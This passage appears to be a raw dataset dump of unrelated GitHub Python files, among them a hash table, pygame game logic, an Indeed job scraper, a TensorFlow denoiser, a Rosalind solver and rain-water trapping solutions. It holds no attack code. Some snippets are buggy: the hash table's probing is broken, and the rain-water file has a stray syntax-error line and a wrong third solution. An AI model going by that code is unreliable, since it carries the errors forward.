attrs=['bold']))","repo_name":"carlpaulus/Memoire","sub_path":"macd.py","file_name":"macd.py","file_ext":"py","file_size_in_byte":7083,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"40"} +{"seq_id":"21173725231","text":"import os\r\nclass HashTable:\r\n def __init__(self):\r\n self.MAX = 10\r\n self.arr = [[] for i in range(self.MAX)]\r\n \r\n def get_hash(self, key):\r\n h = 0\r\n for char in key:\r\n h += ord(char)\r\n return h % self.MAX\r\n \r\n def __setitem__(self, key, value):\r\n h = self.get_hash(key)\r\n ''' Collision Handling - Chaining Method '''\r\n '''\r\n found = False\r\n for index, ele in enumerate(self.arr[h]):\r\n if len(ele) == 2 and ele[0]==key:\r\n self.arr[h][index] = (key, value)\r\n found = True\r\n break\r\n if not found:\r\n self.arr[h].append((key, value))\r\n '''\r\n \r\n ''' Collision Handling - Linear Probing Method '''\r\n done = False\r\n found = False\r\n for index, ele in enumerate(self.arr[h]):\r\n if ele==key:\r\n self.arr[h] = (key, value)\r\n found = True\r\n break\r\n if not found:\r\n if self.arr[h] == []:\r\n self.arr[h] = (key, value)\r\n done = True\r\n else:\r\n for i in range(h+1, self.MAX):\r\n if self.arr[i] == []:\r\n self.arr[i] = (key, value)\r\n done = True\r\n break\r\n if not done:\r\n for i in range(0, h):\r\n if self.arr[i] == []:\r\n self.arr[i] = (key, value)\r\n done = True\r\n break\r\n\r\n def __getitem__(self, key):\r\n h = self.get_hash(key)\r\n '''\r\n for ele in self.arr[h]:\r\n if ele[0] == key:\r\n return ele[1]\r\n '''\r\n if self.arr[h][0] == key:\r\n return self.arr[h][1]\r\n else:\r\n for index, ele in enumerate(self.arr):\r\n if ele[0] == key:\r\n return self.arr[index][1]\r\n \r\n def __delitem__(self, key):\r\n h = self.get_hash(key)\r\n '''\r\n for index, ele in enumerate(self.arr[h]):\r\n if ele[0] == key:\r\n del self.arr[h][index]\r\n '''\r\n if self.arr[h][0] == key:\r\n del self.arr[h]\r\n else:\r\n for index, ele in enumerate(self.arr):\r\n if ele[0] == key:\r\n self.arr[index] = []\r\n break\r\n\r\n def display(self):\r\n print()\r\n print(self.arr)\r\n\r\nos.system('cls')\r\nt = HashTable()\r\nt[\"march 6\"] = 130\r\nt[\"D d\"] = 168\r\nt[\"march 6\"] = 78\r\nt[\"march 1\"] = 20\r\nt[\"dec 17\"] = 209\r\nt[\"march 17\"] = 254\r\nt.display()\r\n\r\ndel t[\"march 17\"]\r\ndel t[\"march 6\"]\r\nt.display()","repo_name":"AshishNikam111000/Python","sub_path":"Data Structures/HashMap.py","file_name":"HashMap.py","file_ext":"py","file_size_in_byte":2770,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"40"} +{"seq_id":"32647452319","text":"import sys\nimport settings\nimport pygame\n\n\nglobal mouse_x, mouse_y\n\n\ndef check_events(player):\n restart = 0\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n sys.exit()\n\n if event.type == pygame.KEYDOWN:\n if event.key == pygame.K_RIGHT or event.key == ord('d'):\n player.moving_right = True\n if event.key == pygame.K_LEFT or event.key == ord('a'):\n player.moving_left = True\n if event.key == pygame.K_UP or event.key == ord('w'):\n player.moving_top = True\n if event.key == pygame.K_DOWN or event.key == ord('s'):\n player.moving_down = True\n #Exit during the game\n if event.key == pygame.K_ESCAPE:\n sys.exit()\n if event.key == pygame.K_F1:\n restart = 1\n return restart\n\n if event.type == pygame.KEYDOWN:\n player.choice = -1\n if event.key == ord('1'):\n player.choice = 1\n elif event.key == ord('2'):\n player.choice = 2\n elif event.key == ord('3'):\n player.choice = 3\n elif event.key == ord('4'):\n player.choice = 4\n elif event.key == ord('5'):\n player.choice = 5\n elif event.key == ord('6'):\n player.choice = 6\n elif event.key == ord('7'):\n player.choice = 7\n elif event.key == ord('8'):\n player.choice = 8\n elif event.key == ord('9'):\n player.choice = 9\n elif event.key == ord('0'):\n player.choice = 0\n print(\"choice = \", player.choice)\n\n if event.type == pygame.KEYUP:\n if event.key == pygame.K_RIGHT or event.key == ord('d'):\n player.moving_right = False\n if event.key == pygame.K_LEFT or event.key == ord('a'):\n player.moving_left = False\n if event.key == pygame.K_UP or event.key == ord('w'):\n player.moving_top = False\n if event.key == pygame.K_DOWN or event.key == ord('s'):\n player.moving_down = False\n\n # global mouse_x, mouse_y\n if event.type == pygame.MOUSEMOTION:\n player.mouse_x, player.mouse_y = pygame.mouse.get_pos()\n if event.type == pygame.MOUSEBUTTONDOWN:\n pressed_array = pygame.mouse.get_pressed()\n player.mouse_button_left, player.mouse_wheel, player.mouse_button_right = pressed_array\n\n if event.type == pygame.MOUSEBUTTONUP:\n pressed_array = pygame.mouse.get_pressed()\n player.mouse_button_left, player.mouse_wheel, player.mouse_button_right = pressed_array\n\n\ndef check_game_control_event():\n is_restart = False\n is_quit = False\n for event in pygame.event.get():\n if event.type == pygame.KEYDOWN:\n if event.key == ord('r'):\n is_restart = True\n elif event.key == ord('q'):\n is_quit = True\n\n return is_restart, is_quit\n\n\ndef check_interaction_event():\n for event in pygame.event.get():\n print(\"======================================\")\n if event.type == pygame.KEYDOWN:\n print(\"KEY DOWN!\")\n if event.key == ord('1'):\n choice = 1\n elif event.key == ord('2'):\n choice = 2\n elif event.key == ord('3'):\n choice = 3\n elif event.key == ord('4'):\n choice = 4\n elif event.key == ord('5'):\n choice = 5\n elif event.key == ord('6'):\n choice = 6\n elif event.key == ord('7'):\n choice = 7\n elif event.key == ord('8'):\n choice = 8\n elif event.key == ord('9'):\n choice = 9\n elif event.key == ord('0'):\n choice = 0\n print(\"choice = \", choice)\n return choice\n\n\ndef blit_all(ai_settings, screen, player, monsters, bullets, probes, treasures, npc):\n # def blit_all(ai_settings, screen, player, skeleton):\n \"\"\"Update images on the screen and flip to the new screen.\"\"\"\n # Draw the walls\n for i in range(0, len(ai_settings.walls)):\n wallrect = pygame.draw.rect(screen, (0, 0, 0), ai_settings.walls[i].rect)\n for k, v in sorted(ai_settings.wall_stone.items(), reverse=True):\n if i % k == 0:\n screen.blit(v, wallrect)\n break\n for i in range(0, len(ai_settings.roads)):\n roadrect = pygame.draw.rect(screen, (0, 0, 0), ai_settings.roads[i].rect)\n for k, v in sorted(ai_settings.road_stone.items(), reverse=True):\n if i % k == 0:\n screen.blit(v, roadrect)\n break\n\n startrect = pygame.draw.rect(screen, (255, 255, 255), ai_settings.start.rect)\n screen.blit(ai_settings.start_img, startrect)\n endrect = pygame.draw.rect(screen, (255, 255, 255), ai_settings.end.rect)\n screen.blit(ai_settings.end_img, endrect)\n\n player.blitme()\n\n for monster in monsters:\n monster.blitme()\n\n for bullet in bullets:\n bullet.blitme()\n\n # for probe in probes:\n # probe.blitme()\n\n for treasure in treasures:\n treasure.blitme()\n\n if npc != None:\n npc.blitme()\n\n # # Make the most recently drawn screen visible.\n # pygame.display.flip()\n\n\ndef collide_walls(self):\n \"\"\"Detect if a object collide a wall and return collided side of the object\"\"\"\n is_collide_wall = False\n collidebottom = 0\n collidetop = 0\n collideright = 0\n collideleft = 0\n for i in range(0, len(self.ai_settings.walls)):\n if self.rect.colliderect(self.ai_settings.walls[i].rect):\n is_collide_wall = True\n if self.rect.bottom >= self.ai_settings.walls[i].rect.top and \\\n self.rect.right - self.ai_settings.walls[i].rect.left > 2 and \\\n self.rect.left - self.ai_settings.walls[i].rect.right < - 2:\n if self.rect.bottom - self.ai_settings.walls[i].rect.top <= 2:\n collidebottom = 1\n # print(\"collidebottom\")\n continue\n if self.rect.top <= self.ai_settings.walls[i].rect.bottom and \\\n self.rect.right - self.ai_settings.walls[i].rect.left > 2 and \\\n self.rect.left - self.ai_settings.walls[i].rect.right < - 2:\n if self.ai_settings.walls[i].rect.bottom - self.rect.top <= 2:\n collidetop = 1\n # print(\"collidetop\")\n continue\n if self.rect.right >= self.ai_settings.walls[i].rect.left and \\\n self.rect.top - self.ai_settings.walls[i].rect.bottom < - 2 and \\\n self.rect.bottom - self.ai_settings.walls[i].rect.top > 2:\n if self.rect.right - self.ai_settings.walls[i].rect.left <= 2:\n collideright = 1\n # print(\"collideright\")\n continue\n if self.rect.left <= self.ai_settings.walls[i].rect.right and \\\n self.rect.top - self.ai_settings.walls[i].rect.bottom < - 2 and \\\n self.rect.bottom - self.ai_settings.walls[i].rect.top > 2:\n if self.ai_settings.walls[i].rect.right - self.rect.left <= 2:\n collideleft = 1\n # print(\"collideleft\")\n\n return collidebottom, collidetop, collideright, collideleft, is_collide_wall\n","repo_name":"zyw1024/BigAdventure1.01","sub_path":"game_functions.py","file_name":"game_functions.py","file_ext":"py","file_size_in_byte":7630,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"40"} +{"seq_id":"8905477258","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom BP_dynamics import calcODE, calcODE2\n\n\ndef mean_T_vp(vp, t):\n \"\"\"\n Function for mean of ISI calculation\n\n :param vp: time series as an array\n :param t: time\n :return: mean of ISI for vp time series\n \"\"\"\n\n nt = len(t)\n t = t[nt // 5: nt]\n vp = vp[nt // 5: nt]\n\n mask = np.logical_and(vp[1:-1] > 0.1, np.logical_and(vp[1:-1] > vp[:-2], vp[1:-1] > vp[2:]))\n t_of_peaks = t[1:-1][mask]\n return np.mean(t_of_peaks[1:] - t_of_peaks[:-1])\n\n\ndef T_of_attractors(args, initials_num):\n \"\"\"\n Calculate and plot of the histogram of the limit cycles ISIs\n\n :param args: arguments of the BP-system\n :param initials_num: number of different random initial conditions\n :return: list of limit cycle ISIs\n \"\"\"\n T = []\n vp_vb_T = []\n\n for i in range(initials_num):\n ts = 2000\n nt = 2 ** 15\n vp0 = 4 * np.random.random() - 2\n vb0 = 4 * np.random.random() - 2\n up0 = 4 * np.random.random() - 2\n ub0 = 4 * np.random.random() - 2\n sbp0 = np.random.random()\n spb0 = np.random.random()\n\n sol, t = calcODE2(args, vp0, vb0, up0, ub0, sbp0, spb0, ts, nt)\n T_one = mean_T_vp(sol[:, 0], t) / 2\n print(f'T = {T_one}')\n print(f'Parameters: {vp0, vb0}')\n T.append(T_one)\n vp_vb_T.append((vp0, vb0, T_one))\n plt.figure(figsize=(15, 5))\n plt.plot(np.linspace(0, ts, nt//4), sol[-nt//4:, 0], 'b')\n\n plt.xlabel('t')\n plt.ylabel('$v_p$')\n plt.grid()\n plt.show()\n\n plt.figure(figsize=(10, 10))\n plt.hist(T)\n plt.show()\n\n return T\n\n\ndef map_of_multistability(vars, args, vp0=-1.5, vb0=-1.5, up0=0.5, ub0=0.5, sbp0=0.5, spb0=0.5, ts=2000, nt=2 ** 15):\n \"\"\"\n Plotting of the map of limit cycle periods for various initial conditions\n\n :param vars: string of variables for map calculations -- \"vv\", \"uu\" or \"ss\" (it will be varied)\n :param args: arguments of the BP-system\n :param vp0, vb0, up0, ub0, sbp0, spb0: fixed initial conditions\n :param ts: time\n :param nt: number of steps\n :return: array of limit cycle periods\n \"\"\"\n T = []\n\n if vars == 'ss':\n initials = np.arange(0, 1, 0.05)\n else:\n initials = np.arange(-2, 2, 0.1)\n\n for var0_0 in initials:\n T_var1 = []\n for var1_0 in initials:\n\n if vars == 'vv':\n vp0 = var0_0\n vb0 = var1_0\n elif vars == 'uu':\n up0 = var0_0\n ub0 = var1_0\n else:\n sbp0 = var0_0\n spb0 = var1_0\n\n sol, t = calcODE(args, vp0, vb0, up0, ub0, sbp0, spb0, ts, nt)\n T_one = mean_T_vp(sol[:, 0], t) / 2\n print(f'T = {T_one}')\n print(f'var_p0 = {var0_0}')\n print(f'var_b0 = {var1_0}')\n T_var1.append(T_one)\n T.append(T_var1)\n return T\n","repo_name":"xomaiya/BP-kinetics","sub_path":"multistability.py","file_name":"multistability.py","file_ext":"py","file_size_in_byte":2952,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"40"} +{"seq_id":"40680965159","text":"import util\n\nif __name__ == '__main__':\n data_dir_path = \"data/data1\"\n jsons = util.load_jsons(data_dir_path)\n texts = []\n for json_data in jsons:\n location = util.extract_location(json_data)\n geo_enabled = util.extract_enabled(json_data)\n coordinate = util.extract_coordinate(json_data)\n place = util.extract_place(json_data)\n print(location, geo_enabled, coordinate, place)\n","repo_name":"UofG-Web-Science/Lab-03","sub_path":"q_1.py","file_name":"q_1.py","file_ext":"py","file_size_in_byte":423,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"40"} +{"seq_id":"10051476447","text":"import os, fcntl, termios, struct\nfrom util.misc import inf\n\ndef ttywidth(f):\n\t\"\"\"\n\tDetermines the width of a terminal\n\n\tf\n\t\tFile object pointing to the terminal\n\treturns\n\t\tWidth of the terminal, in characters, or +inf if the file does not represent a terminal or an other\n\t\terror has occured\n\t\"\"\"\n\ttry:\n\t\t_, w, _, _ = struct.unpack('HHHH',\n\t\t\tfcntl.ioctl(f.fileno(), termios.TIOCGWINSZ, struct.pack('HHHH', 0, 0, 0, 0)))\n\t\treturn w\n\texcept:\n\t\treturn inf\n\ndef printedlen(s):\n\t\"\"\"\n\tDetermines the length of a string excluding ANSI escape sequences such as color codes\n\tDoes NOT consider tab characters, newlines etc, just ANSI escape sequences.\n\n\treturns\n\t\tLength of s, in characters\n\t\"\"\"\n\tresult = 0\n\tescaped = False\n\tfor c in s:\n\t\tif c == \"\\x1b\" and not escaped:\n\t\t\tescaped = True\n\t\tif not escaped:\n\t\t\tresult += 1\n\t\telif c.isalpha() and escaped:\n\t\t\tescaped = False\n\treturn result\n\ndef ansicolorstring(colid):\n\t\"\"\"\n\tDetermines the ANSI escape sequence for a certain color code\n\n\tcolid\n\t\tColor code, or any ';'-separated concatenation thereof\n\treturns\n\t\tANSI escape sequence for colid\n\t\"\"\"\n\treturn '\\x1b[' + colid + 'm'\n\ndef interact(globs, banner = None):\n\t\"\"\"\n\tlaunch an interactive python console\n\n\tglobs\n\t\tthe global variable dict\n\tbanner\n\t\tthe banner string that is printed\n\t\"\"\"\n\n\t#try to read the user's .pyrc file\n\ttry:\n\t\timport os\n\t\texec(open(os.environ[\"PYTHONSTARTUP\"]).read(), globs)\n\texcept:\n\t\tpass\n\n\tdef printdocstrings(obj):\n\t\timport inspect\n\t\tdoc = inspect.getdoc(obj)\n\t\tif doc == None:\n\t\t\tprint(\"No documentation available\")\n\t\telse:\n\t\t\tprint(doc)\n\n\tdef printsourcecode(obj):\n\t\timport inspect\n\t\tsrc = inspect.getsource(obj)\n\t\tif src == None:\n\t\t\tprint(\"No source code available\")\n\t\telse:\n\t\t\tprint(src)\n\n\tglobs[\"printdocstrings\"] = printdocstrings\n\tglobs[\"printsourcecode\"] = printsourcecode\n\n\t#activate tab completion\n\timport rlcompleter, readline, code\n\treadline.parse_and_bind(\"tab: complete\")\n\n\tclass NoHiddenMemberRLCompleter(rlcompleter.Completer):\n\t\tdef attr_matches(self, text):\n\t\t\tmatches = super().attr_matches(text)\n\t\t\tif text.split('.')[-1:][0].startswith(\"_\"):\n\t\t\t\t#if the user wants to see hidden members, show them all\n\t\t\t\treturn matches\n\t\t\telse:\n\t\t\t\t#else, filter them\n\t\t\t\treturn [m for m in matches if m[len(text):len(text) + 1] != '_']\n\n\treadline.set_completer(NoHiddenMemberRLCompleter(globs).complete)\n\n\tclass HelpfulInteractiveConsole(code.InteractiveConsole):\n\t\t\"\"\"\"\n\t\tWrapper that will detect trailing '?' characters and try to print docstrings\n\t\t\"\"\"\n\t\tdef runsource(self, source, filename=\"\", symbol=\"single\"):\n\t\t\tif len(source) > 2 and source[-2:] in [\"??\", \"(?\"]:\n\t\t\t\t#try to display sourcecode\n\t\t\t\tsuper().runsource(\"printsourcecode(\" + source[:-2] + \")\", filename, symbol)\n\t\t\telif len(source) > 1 and source[-1:] in '?(':\n\t\t\t\t#try to display help stuff\n\t\t\t\tsuper().runsource(\"printdocstrings(\" + source[:-1] + \")\", filename, symbol)\n\t\t\t\treturn False\n\t\t\telse:\n\t\t\t\t#simply call the super method\n\t\t\t\treturn super().runsource(source, filename, symbol)\n\n\t#launch session\n\tHelpfulInteractiveConsole(globs).interact(banner)\n","repo_name":"SFTtech/sftmake","sub_path":"util/term.py","file_name":"term.py","file_ext":"py","file_size_in_byte":3064,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"40"} +{"seq_id":"1046074604","text":"import requests\r\nimport pandas as pd\r\n\r\nfrom bs4 import BeautifulSoup\r\n\r\n#get content website page\r\ndef extract(page):\r\n headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.67 Safari/537.36'}\r\n url = f'https://ca.indeed.com/jobs?q=Front%20End%20Developer&l=Vancouver%2C%20BC&radius=25&start={page}'\r\n req = requests.get(url, headers)\r\n soup = BeautifulSoup(req.text, \"html.parser\")\r\n return soup\r\n\r\n#extract all the div = job_seen_beacon\r\ndef transform(soup):\r\n divs = soup.find_all('div', class_ = 'job_seen_beacon')\r\n for item in divs:\r\n jobTitle = item.find('a').text.strip()\r\n company = item.find('span', class_ = 'companyName').text.strip()\r\n location = item.find('div', class_ = 'companyLocation').text.strip()\r\n try:\r\n salary = item.find('div', class_ = 'attribute_snippet').text.strip()\r\n except:\r\n salary = ''\r\n summary = item.find('div', class_ = 'job-snippet').text.strip().replace('\\n','')\r\n \r\n try:\r\n urgentHire = item.find('div', class_ = 'urgentlyHiring').text.strip()\r\n except:\r\n urgentHire = ''\r\n date = ''\r\n datetemp = item.find('span', class_ = 'date').text.strip() \r\n date = date.join(filter(str.isdigit, datetemp))\r\n \r\n job = {\r\n 'title': jobTitle,\r\n 'company': company,\r\n 'location': location,\r\n 'salary': salary,\r\n 'summary': summary,\r\n 'urgent': urgentHire,\r\n 'date': date\r\n }\r\n jobList.append(job)\r\n return\r\n\r\njobList = []\r\n\r\nfor i in range(0,40,10):\r\n content = extract(i)\r\n transform(content)\r\n \r\ndf = pd.DataFrame(jobList)\r\ndf.to_csv('jobList.csv', header=[\"Title\", \"Company\", \"Location\", \"Salary\", \"Summary\", \"Is Urgent\", \"Date\"], index=False)\r\n\r\nprint(jobList)","repo_name":"olidigitaldesign/Web-Scrapping-","sub_path":"scrapingdata.py","file_name":"scrapingdata.py","file_ext":"py","file_size_in_byte":1798,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"40"} +{"seq_id":"74604050999","text":"from app.datamanager.database_manager import Database_manager\nfrom app.models.user_model import User\n\n\nclass Asset:\n collection = \"assets\"\n\n def __init__(self, symbol, amount, avarage_price):\n self.symbol = symbol\n self.amount = amount\n self.avarage_price = avarage_price\n\n def saveAsset(self, emailAddress):\n existing_assets = self.findAssets(emailAddress)\n if not existing_assets:\n asset = {\n \"userID\": User.findUser(emailAddress)[\"_id\"],\n \"symbol\": self.symbol,\n \"amount\": self.amount,\n \"avarage_price\": self.avarage_price\n }\n else:\n update_amount = int(existing_assets['amount']) + int(self.amount)\n find_col = {\n \"name\": \"userID\",\n \"value\": User.findUser(emailAddress)[\"_id\"]\n }\n set_col = {\n \"name\": \"amount\",\n \"value\": update_amount\n }\n return print(Database_manager().update_one(find_col,\n set_col, self.collection))\n Database_manager().save_one(asset, self.collection)\n\n @staticmethod\n def findAssets(emailAddress):\n user = User.findUser(emailAddress)\n asset = {\n \"userID\": user['_id']\n }\n collection = \"assets\"\n return Database_manager().find_one(asset, collection)\n","repo_name":"Dutchie1990/Crypto-Portfolio-Manager","sub_path":"app/models/asset_model.py","file_name":"asset_model.py","file_ext":"py","file_size_in_byte":1418,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"40"} +{"seq_id":"6718351244","text":"\"\"\"This file is the noise prior model that conduct preliminary extracting of noise.\"\"\"\r\n'This model have four dilate convs and four res-blocks '\r\n\r\nimport tensorflow as tf\r\nimport os\r\nfrom basic_op import conv_op\r\nfrom basic_op import res_block_layers_v1\r\nfrom basic_op import res_block_layers_v2\r\nfrom basic_op import dilated_conv_op\r\n\r\n\r\ndef model(input, reuse=False, name='nosie_prior', training=True, STDDEV=None):\r\n #-tf.reset_default_graph()\r\n with tf.variable_scope(name, reuse=reuse):\r\n dilated_conv1 = dilated_conv_op(input, 'dilated_conv1', 32, training=training, useBN=False, kh=3, kw=3,\r\n rate=1, padding=\"SAME\",\r\n activation=tf.nn.relu, STDDEV=STDDEV)\r\n dilated_conv2 = dilated_conv_op(dilated_conv1, 'dilated_conv2', 64, training=training, useBN=False, kh=3, kw=3,\r\n rate=2, padding=\"SAME\",\r\n activation=tf.nn.relu, STDDEV=STDDEV)\r\n '''feature learning '''\r\n res_block_1 = res_block_layers_v1(dilated_conv2, 'block_1', [64, 128], change_dimension=True, block_stride=1,\r\n training=training, STDDEV=STDDEV)\r\n res_block_2 = res_block_layers_v2(res_block_1, 'block_2', 128, block_stride=1, training=training, STDDEV=STDDEV)\r\n res_block_3 = res_block_layers_v2(res_block_2, 'block_3', 128, block_stride=1, training=training, STDDEV=STDDEV)\r\n res_block_4 = res_block_layers_v2(res_block_3, 'block_4', 128, block_stride=1, training=training, STDDEV=STDDEV)\r\n res_block_5 = res_block_layers_v1(res_block_4, 'block_5', [128, 64], change_dimension=True, block_stride=1,\r\n training=training, STDDEV=STDDEV)\r\n\r\n dilated_conv3 = dilated_conv_op(res_block_5, 'dilated_conv3', 32, training=training, useBN=False, kh=3, kw=3,\r\n rate=2, padding=\"SAME\",\r\n activation=tf.nn.relu, STDDEV=STDDEV)\r\n dilated_conv4 = dilated_conv_op(dilated_conv3, 'dilated_conv4', 1, training=training, useBN=False, kh=3, kw=3,\r\n rate=1, padding=\"SAME\",\r\n activation=None, STDDEV=STDDEV)\r\n result = dilated_conv4\r\n\r\n return result\r\n","repo_name":"tonyckc/TEMDnet_demo","sub_path":"model/sig_noise_prior.py","file_name":"sig_noise_prior.py","file_ext":"py","file_size_in_byte":2393,"program_lang":"python","lang":"en","doc_type":"code","stars":21,"dataset":"github-code","pt":"40"} +{"seq_id":"757959468","text":"'''URLs for Store app'''\nfrom django.urls import path\nfrom . import views\n\n\napp_name = 'store'\nurlpatterns = [\n path('items/', views.ItemList.as_view()),\n path('items//', views.ItemDetail.as_view()),\n path('categories/', views.CategoryList.as_view()),\n path('items/change/', views.ItemChanges.as_view()),\n]","repo_name":"stanislav-akolzin/online-store","sub_path":"store/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":326,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"40"} +{"seq_id":"14580925276","text":"#Finding a Protein Motif\n\nfrom Bio import ExPASy\nfrom Bio import SwissProt\n\ntext = open('rosalind_mprt.txt','r')\n\nidList = []\ncurrentID = 'blank'\nwhile currentID != '':\n currentID = text.readline()\n if currentID == '':\n break\n currentID = currentID.replace('\\n','')\n idList.append(currentID)\n\n#compile sequence list\nsequenceList = []\nfor i in range(0,len(idList)):\n h = ExPASy.get_sprot_raw(idList[i])\n r = SwissProt.read(h)\n sequenceList.append(r.sequence)\n\n#check for N-glycosylation motif - N{P}[ST]{P}\nmotifList = []\nfor i in range(0,len(idList)):\n n = 'N'\n nLoc= [p for p, check in enumerate(sequenceList[i]) if check == n] #find all locations for N\n subMotifList = []\n for j in range(0,len(nLoc)):\n if nLoc[j]+3 <= len(sequenceList[i])-1:\n if sequenceList[i][nLoc[j]+1] != 'P':\n if sequenceList[i][nLoc[j]+2] == 'S' or sequenceList[i][nLoc[j]+2] == 'T':\n if sequenceList[i][nLoc[j]+3] != 'P':\n subMotifList.append(nLoc[j]+1)\n\n motifList.append(subMotifList)\n\n#print motif locations and IDs\nfor i in range(0,len(idList)):\n if len(motifList[i]) > 0:\n print(idList[i])\n motifs = ' '.join(str(x) for x in motifList[i])\n print(motifs)\n","repo_name":"arundeep1187/rosalind-problems","sub_path":"FindingaProteinMotif.py","file_name":"FindingaProteinMotif.py","file_ext":"py","file_size_in_byte":1278,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"40"} +{"seq_id":"29489927541","text":"import json\n\n\ndef lambda_handler(event, context):\n\n headers = {\"Content-Type\": \"Application/json\"}\n print('add it to see logs change plesase ... !!')\n\n return {\n \"headers\": headers,\n \"statusCode\": 200,\n \"body\": json.dumps({\n \"message\": \"Hello World, HOw are you ?\",\n }),\n }\n","repo_name":"kolodny-coder/sam-app","sub_path":"hello_world/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":326,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"40"} +{"seq_id":"33405166137","text":"# -*-coding:utf-8-*-\n\nimport logging\nimport ctypes\nfrom qingqi_driver_app.project_config import *\nimport os\n\n\"\"\"定义log的颜色\"\"\"\n\nFOREGROUND_WHITE = 0x0007\nFOREGROUND_BLUE = 0x01\nFOREGROUND_GREEN = 0x02\nFOREGROUND_RED = 0x04\nFOREGROUND_YELLOW = FOREGROUND_RED | FOREGROUND_GREEN\nSTD_OUTPUT_HANDLE = -11\nstd_out_handle = ctypes.windll.kernel32.GetStdHandle(STD_OUTPUT_HANDLE)\n\n\ndef set_color(color, handle=std_out_handle):\n b = ctypes.windll.kernel32.SetConsoleTextAttribute(handle, color)\n return b\n\n\n\"\"\"定义handler的输出格式formatter\"\"\"\n\n\nclass MyLogger(object):\n\n def __init__(self, name='mylogger'):\n self.logger = logging.getLogger(name)\n\n def init_logger(self, file_path):\n self.logger.setLevel(logging.DEBUG)\n file_handler = logging.FileHandler(file_path, 'a', encoding='utf-8')\n stream_handler = logging.StreamHandler()\n\n self.logger.removeHandler(stream_handler)\n self.logger.removeHandler(file_handler)\n\n formatter = logging.Formatter(\n '%(asctime)s - %(name)s - %(levelname)s - %(message)s')\n\n file_handler.setFormatter(formatter)\n stream_handler.setFormatter(formatter)\n\n self.logger.addHandler(file_handler)\n self.logger.addHandler(stream_handler)\n\n def debug(self, message, color=FOREGROUND_BLUE):\n set_color(color)\n self.logger.debug(message)\n set_color(FOREGROUND_WHITE)\n\n def info(self, message, color=FOREGROUND_GREEN):\n set_color(color)\n self.logger.info(message)\n set_color(FOREGROUND_WHITE)\n\n def warn(self, message, color=FOREGROUND_YELLOW):\n set_color(color)\n self.logger.warn(message)\n set_color(FOREGROUND_WHITE)\n\n def error(self, message, color=FOREGROUND_RED):\n set_color(color)\n self.logger.error(message)\n set_color(FOREGROUND_WHITE)\n\n def critical(self, message, color=FOREGROUND_RED):\n set_color(color)\n self.logger.critical(message)\n set_color(FOREGROUND_WHITE)\n\n\nif __name__ == '__main__':\n mylogger = MyLogger()\n print('pro', project_path)\n print(os.getcwd())\n #log_path ='1.txt'\n log_path = 'D:\\\\pycharm\\\\AutoTEST\\\\qingqi_driver_app\\\\logs\\\\TestCaselog\\\\11.txt'\n print('目录为', log_path)\n mylogger.init_logger(log_path)\n mylogger.debug('这是debug信息')\n mylogger.info('这是info信息')\n mylogger.warn('这是warning')\n mylogger.error('这是error信息')\n mylogger.critical('这是critical信息')\n config_file_path = os.path.split(os.path.realpath(__file__))[0]\n print('conf==', config_file_path)\n","repo_name":"Hanlen520/AutoTEST-2","sub_path":"qingqi_driver_app/utils/mylogger.py","file_name":"mylogger.py","file_ext":"py","file_size_in_byte":2615,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"40"} +{"seq_id":"72183304441","text":"#!/usr/bin/python3\n\"\"\"\nModule to list all 'States'\n\"\"\"\nimport sys\nfrom sqlalchemy import create_engine\nfrom sqlalchemy.orm import sessionmaker\n\nfrom relationship_state import Base, State\nfrom relationship_city import City\n\n\ndef main():\n \"\"\"\n Main method\n \"\"\"\n engine = create_engine(\"mysql+mysqldb://{}:{}@localhost/{}\".\n format(sys.argv[1],\n sys.argv[2],\n sys.argv[3]),\n pool_pre_ping=True)\n Base.metadata.create_all(engine)\n Session = sessionmaker(bind=engine)\n\n # Create a Session instance\n with Session() as session:\n # query all the City objects and print them in ascending order by id\n cities = session.query(City).order_by(City.id).all()\n for city in cities:\n print(\"{}: {} -> {}\".format(city.id, city.name, city.state.name))\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"bahailu-abera/alx-higher_level_programming","sub_path":"0x0F-python-object_relational_mapping/102-relationship_cities_states_list.py","file_name":"102-relationship_cities_states_list.py","file_ext":"py","file_size_in_byte":947,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"40"} +{"seq_id":"72867109241","text":"height = [0,1,0,2,1,0,1,3,2,1,2,1]\n\nsolution1\ndef trap(height):\n stack = []\n volume = 0 \n for i in range(len(height)):\n while stack and height[i] > height[stack[-1]]:\n top = stack.pop()\n\n if not len(stack):\n break \n \n distance = i - stack[-1] - 1 \n waters = min(height[i], height[stack[-1]]) - height[top]\n volume += waters * distance\n stack.append(i)\n return volume\n\n\n\n#solution2\nclass Solution(object):\n def trap(self, height):\n \"\"\"\n :type height: List[int]\n :rtype: int\n \"\"\"\n max_value = -1\n volume = 0 \n max_value_index = height.index(max(height))\n right = height[:max_value_index+1]\n left = height[max_value_index:]\n # 정방향 \n for i in range(len(right)):\n if right[i] < max_value:\n water = max_value - right[i]\n volume += water\n max_value = max(max_value, right[i])\n else: \n max_value = right[i]\n\n # 역방향 \n r_max_value = -1\n r_volume = 0 \n for i in reversed(range(len(left))):\n if left[i] <= r_max_value:\n water = r_max_value - left[i]\n r_volume += water\n r_max_value = max(r_max_value, left[i])\n else: \n r_max_value = left[i]\n\n return volume + r_volume\n\n\n#solution3\ndef trap(height):\n for i in range(1, len(height)):\n answer = 0\n water = min(max(height[i:]), height[:i+1]) -height[i]\n answer += water \n return answer 